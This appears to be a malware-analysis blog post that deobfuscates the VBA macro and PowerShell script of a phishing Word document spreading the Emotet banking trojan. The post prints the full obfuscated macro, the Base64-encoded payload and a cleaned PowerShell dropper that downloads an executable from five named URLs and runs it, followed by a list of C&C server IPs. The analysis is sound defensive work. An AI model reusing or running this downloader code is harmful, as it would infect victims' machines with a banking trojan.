Deobfuscating VBA and PowerShell Scripts of an Emotet Trojan Downloader

Sep 1, 2017

We analyzed a recent wave of phishing mails trying to spread the Emotet banking trojan via malicious Word documents. This post provides details of the obfuscation methods used in the VBA macro and the PowerShell script contained within the Word documents.

Contents

  1. Introduction
  2. Deobfuscating the VBA Macro
  3. Deobfuscating the PowerShell script
  4. Running the Emotet Trojan

1. Introduction

To be infected, four user interactions are required: Open the email, click the link contained within, open the Word document that is downloaded and then enable the execution of macros:

From phishing mail to infection
From phishing mail to infection

The macro then proceeds to execute a PowerShell script which in turn downloads and executes the Emotet trojan.

The phishing mails do not use a fake sender, instead they spoof the display name. The display name is set to a (valid) email address: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>

The email text purports to contain an important invoice, provided as a link. Clicking the link downloads a .doc Microsoft Word file. The linked domains seem to be websites with hacked CMS software. The Word document uses a standard phishing trick: It claims it is "protected" and requests the user to activate macros to be able to see the document contents:

2. Deobfuscating the VBA Macro

We extracted the VBA code of the macro using oledump.py:

See all of the code here.
  1Attribute VB_Name = "Module1"
  2
  3Function BFvwAuZaVks()
  4  XAamgnsVVb = 5165
  5  Dim SrGPDtnepsZ(5165)
  6  GHzbxwpn = "vtSrDzbX"
  7  amnKkpVwV = "VWseGNg"
  8  SrGPDtnepsZ(2227) = awzenTtPGY
  9  SrGPDtnepsZ(4272) = WUkcPat
 10  SrGPDtnepsZ(3669) = 7075 + 6231 + 8852 + 5718 / 4558 / 9361 / 1558 - 7755 - 3944 + 3708 + 9243
 11  SrGPDtnepsZ(4564) = 2190 + 1532 + 1910 / 8793 - 9797 + 4889 + 4615
 12  SrGPDtnepsZ(3963) = 2418 + 5027 / 3108 / 7451 - 9786 - 548 - 2611 + 2156 + 5715
 13  SrGPDtnepsZ(4468) = sTrKDrEMD
 14  SrGPDtnepsZ(4882) = hxGDwUsz
 15  SrGPDtnepsZ(4115) = yYWXhtA
 16  SrGPDtnepsZ(4036) = 513
 17  SrGPDtnepsZ(1906) = 4149
 18  SrGPDtnepsZ(4353) = 4888
 19  SrGPDtnepsZ(4520) = 4721
 20  SrGPDtnepsZ(3908) = WnFmeKgcP
 21  SrGPDtnepsZ(79) = uDLZbSACx
 22  SrGPDtnepsZ(4255) = KUeDGrVbCdS
 23  SrGPDtnepsZ(1019) = 6267 + 4071 / 215 / 3455 / 1127 - 6146 - 6217 - 8856 + 6066 + 6423 + 3276
 24  SrGPDtnepsZ(845) = 9362 + 6185 / 6055 - 688 - 7820 - 794 + 1692 + 3520 + 897
 25  SrGPDtnepsZ(1049) = 3086 + 9498 + 5926 + 8841 / 4542 - 6575 - 5633 - 7816 + 7935 + 1215
 26  For XAamgnsVVb = 2759 To 3545
 27    SrGPDtnepsZ(XAamgnsVVb) = XAamgnsVVb
 28  Next
 29  cHyBNGb = SrGPDtnepsZ(926) + SrGPDtnepsZ(3005) + SrGPDtnepsZ(3149) + SrGPDtnepsZ(1498) + SrGPDtnepsZ(5165)
 30  ueCChrd = SrGPDtnepsZ(2748) + SrGPDtnepsZ(83) + SrGPDtnepsZ(4223) + SrGPDtnepsZ(3116) + SrGPDtnepsZ(159) + SrGPDtnepsZ(5165)
 31End Function
 32
 33Function NhvPuxvN()
 34  TnrRkfSK = 2872
 35  Dim wYVwYPZF(2872)
 36  KPUdypH = "mNbsMXPAeu"
 37  wYVwYPZF(413) = DAzwxYTPDpn
 38  wYVwYPZF(1629) = CtULWMbR
 39  wYVwYPZF(959) = SXrHAePSKs
 40  wYVwYPZF(1423) = 9521 + 1988 / 4344 / 6200 - 9941 - 5877 - 7876 + 5040 + 6001
 41  wYVwYPZF(2812) = 4990 + 6672 / 6251 / 7159 - 7847 + 6786
 42  wYVwYPZF(1132) = 4988 + 8786 / 7729 / 2597 / 8154 - 653 - 6983 + 9292 + 6301
 43  wYVwYPZF(812) = vAMKygw
 44  wYVwYPZF(1254) = DdUfWKsECzw
 45  wYVwYPZF(1555) = 727
 46  wYVwYPZF(1707) = LXFkhuTZhX
 47  wYVwYPZF(1518) = vdMuzhTfgS
 48  wYVwYPZF(1777) = BVmcmTXF
 49  wYVwYPZF(1682) = XsBSUrH
 50  wYVwYPZF(1908) = 3573 + 8612 + 9318 + 9297 / 9023 / 8782 / 9059 - 6885 - 4062 - 3479 + 2192 + 697
 51  wYVwYPZF(644) = 849 + 8506 + 8665 / 3519 / 1456 / 4453 - 1186 + 632
 52  wYVwYPZF(713) = 6508 + 6703 / 3722 - 1205 - 8884 - 2100 + 4052 + 1127
 53  For TnrRkfSK = 102 To 160
 54    wYVwYPZF(TnrRkfSK) = TnrRkfSK
 55  Next
 56  cvrTLUP = wYVwYPZF(1737) + wYVwYPZF(2715) + wYVwYPZF(996) + wYVwYPZF(479) + wYVwYPZF(2484) + wYVwYPZF(292) + wYVwYPZF(1105) + wYVwYPZF(2872)
 57  YHNcNpTz = wYVwYPZF(701) + wYVwYPZF(749) + wYVwYPZF(2276) + wYVwYPZF(2872)
 58  cFzHxGk = wYVwYPZF(905) + wYVwYPZF(2182) + wYVwYPZF(2382) + wYVwYPZF(2872)
 59End Function
 60
 61Sub autoopen()
 62  VKbZcLUg
 63End Sub
 64
 65Public Function yKvCXNf(vRKbufsX)
 66  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
 67  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
 68  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
 69  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
 70  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
 71  KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
 72  yKvCXNf = KADXEmH
 73  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
 74  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
 75  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
 76  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
 77  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
 78End Function
 79 
 80Public Function VKbZcLUg()
 81  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
 82  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
 83  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
 84  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
 85  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
 86  DEBAKSwY = yKvCXNf("ankMNxSvDuv") + yKvCXNf("fDaHszez") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("kfShLKvtYaW") + yKvCXNf("drgLHvTZD") + yKvCXNf("RzsFTKsMa")
 87  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
 88  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
 89  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
 90  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
 91  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
 92  ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
 93  mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
 94  CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
 95  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
 96  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
 97  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
 98  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
 99  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
100End Function
101
102Function mRfpfKhGSD()
103  mCzGYYaxRLX = 8385
104  Dim MCGPUwUZMWy(8385)
105  caMKKbnBu = ("rFNuCnmpUU")
106  ALKNUwLcpPu = ("SLCZxtuyhF")
107  MczvCeNBH = ("XLSHkERKtnR")
108  MCGPUwUZMWy(7904) = UcwcACY
109  MCGPUwUZMWy(2787) = rbUkPum
110  MCGPUwUZMWy(684) = 7163 + 811 + 710 / 7663 / 5363 / 1108 - 3395 - 7739 + 4644 + 8393 + 9078
111  MCGPUwUZMWy(1867) = KwvDMWrrG
112  MCGPUwUZMWy(1721) = LzkZWpB
113  MCGPUwUZMWy(7960) = 8725
114  MCGPUwUZMWy(8262) = 7312
115  MCGPUwUZMWy(6212) = 8270
116  MCGPUwUZMWy(298) = ZUpymUKM
117  MCGPUwUZMWy(3896) = 954 + 9998 / 9266 / 6580 - 736 - 883 + 2313 + 1188 + 5675
118  For mCzGYYaxRLX = 7999 To 5163
119    MCGPUwUZMWy(mCzGYYaxRLX) = mCzGYYaxRLX
120  Next
121  KAyYxEHgrP = MCGPUwUZMWy(3814) + MCGPUwUZMWy(8385)
122  ZBXEkbtP = MCGPUwUZMWy(3170) + MCGPUwUZMWy(1765) + MCGPUwUZMWy(8385)
123End Function
124
125
126Function gHXrdcyrg()
127    WavCCbxD = 8004
128    Dim EhAUrkkxwMG(8004)
129    naRAuCU = ("vgaYmNPnVX")
130    EhAUrkkxwMG(2991) = eNECkccF
131    EhAUrkkxwMG(6466) = FbcdBnKRuK
132    EhAUrkkxwMG(3066) = kfEeTmdvHNy
133    EhAUrkkxwMG(3977) = vLuXaKtP
134    EhAUrkkxwMG(2869) = 4459 + 146 + 7490 / 9816 - 7410 - 8463 - 2553 + 451 + 8893
135    EhAUrkkxwMG(5881) = mtpNLGb
136    EhAUrkkxwMG(5248) = gfxcZDpkv
137    EhAUrkkxwMG(2458) = SsvSpWe
138    EhAUrkkxwMG(458) = AVUPYHGfC
139    EhAUrkkxwMG(4552) = 198
140    EhAUrkkxwMG(5266) = XvRCbwhh
141    EhAUrkkxwMG(4843) = eXHbUGY
142    EhAUrkkxwMG(6934) = dHZNEDyDcv
143    EhAUrkkxwMG(4138) = MvYmwSeRUT
144    EhAUrkkxwMG(6033) = 8623 + 2405 / 7340 / 2292 - 2848 - 4607 + 3843 + 888 + 8671
145    For WavCCbxD = 830 To 4845
146      EhAUrkkxwMG(WavCCbxD) = WavCCbxD
147    Next
148    PHZLUddDVam = EhAUrkkxwMG(7146) + EhAUrkkxwMG(7682) + EhAUrkkxwMG(122) + EhAUrkkxwMG(417) + EhAUrkkxwMG(4616) + EhAUrkkxwMG(1498) + EhAUrkkxwMG(8004)
149End Function

Of the 152 lines of code, only a few have an actual purpose — the rest is just there for misdirection. Most of the code's functions actually never get called.

A good start is to look for the autoopen() function which gets executed when the document is opened:

Sub autoopen()
    VKbZcLUg
End Sub

This points us to the VKbZcLUg() function. It contains loads of useless code such as:

YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg

These are pointless comparison operations. A variable x gets set to true or false depending on whether a + b is equal to c or not:

x = a + b = c

All those lines are irrelevant and can be skipped.

Lines with function calls in brackets need a closer look:

ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")

The yKvCXNf() function keeps getting called with different arguments. This function contains more comparison operations as a distraction and one line of actually useful code:

Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)

This line looks up and returns custom document properties set for the Word document, based on the parameter given to it. We take a look at the custom document properties and see they contain string parts for the strings "powershell" and "wscript.shell":

Getting back to the main VKbZcLUg() function, there are two lines of code doing the actual work. They can be recognized by the strings ActiveDocument.BuiltInDocumentProperties("Comments") and CreateObject(DEBAKSwY).Run:

mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0

Plenty of string concatenation is taking place, with undefined variables that can all be ignored. The actual string comes from the document's comments field. Taking a look we find a long Base64-encoded string:

JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=

Time to put all our findings together! We have a CreateObject call which creates an object of the type "wscript.shell". It then runs the shell command "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA=" with the complete Base64-encoded PowerShell script. This uses the handy PowerShell command line option -EncodedCommand or -e which accepts Base64-encoded commands.

Here's the fully deobfuscated macro:

Sub autoopen()
  f1
End Sub
 
Public Function f1()
  x1 = "wscript.shell"
  x2 = "powershell -e "
  payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
  CreateObject(x1).Run$ payload
End Function

3. Deobfuscating the PowerShell script

Decoding the Base64-string we got from the document's comment field, we find some slightly obfuscated PowerShell code:

${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}" 
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}

The code does some minor string trickery using PowerShell's -f Format operator. It rearranges fragments of a string ('new-ob','t','jec') into the order provided by numbered placeholders ({0}{2}{1}). The rest is just fancy variable naming such as ${WsCRIpT}.

Re-arranging the strings and cleaning up the variable names we get:

$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
         http://missbonniejane.com/H/,
         http://daze.com.hk/yaeRXq/,
         http://funkystudio.org/lEYJk/,
         http://ardweb.pt/VWKngh/,
         http://globalmatrixmarketing.com/HXApJj/
        ).Split(',');

$name = $random.Next(1,65536);

$path = $env:temp + '\' + $name + ".exe";

foreach($url in $urls){
  try{
    $webclient.DownloadFile($url.ToString, {path});
    Start-Process ${path};
    break;
  }
  catch{ write-host $_.Exception.Message; }
}

As we can see, the code downloads the trojan from five different URLs, saves it in the temp directory using a randomly generated numerical name, and then executes it.

4. Running the Emotet Trojan

We run the trojan in a custom VM without a network adapter and a fake network provided by Fakenet-NG. Sniffing the network traffic of the trojan, we can see periodic HTTP POSTS with encrypted data to a rotating list of C&C servers:

We let the trojan run for a while to get the following full list of servers:

IP Port Network Location
173.212.227.54 443 AS51167 Contabo GmbH Germany
104.236.252.178 8080 AS62567 DigitalOcean, LLC Clifton, NJ, USA
162.243.159.58 443 AS14061 DigitalOcean, LLC San Francisco, CA, USA
45.33.55.157 8080 AS63949 Linode, LLC Fremont, CA, USA
77.244.245.37 7080 AS47692 Nessus GmbH Vienna, Austria
192.81.212.79 443 AS62567 DigitalOcean, LLC North Bergen, NJ, USA
173.212.192.45 443 AS51167 Contabo GmbH Germany
103.16.131.20 8080 AS133159 Mammoth Media Pty Ltd Australia

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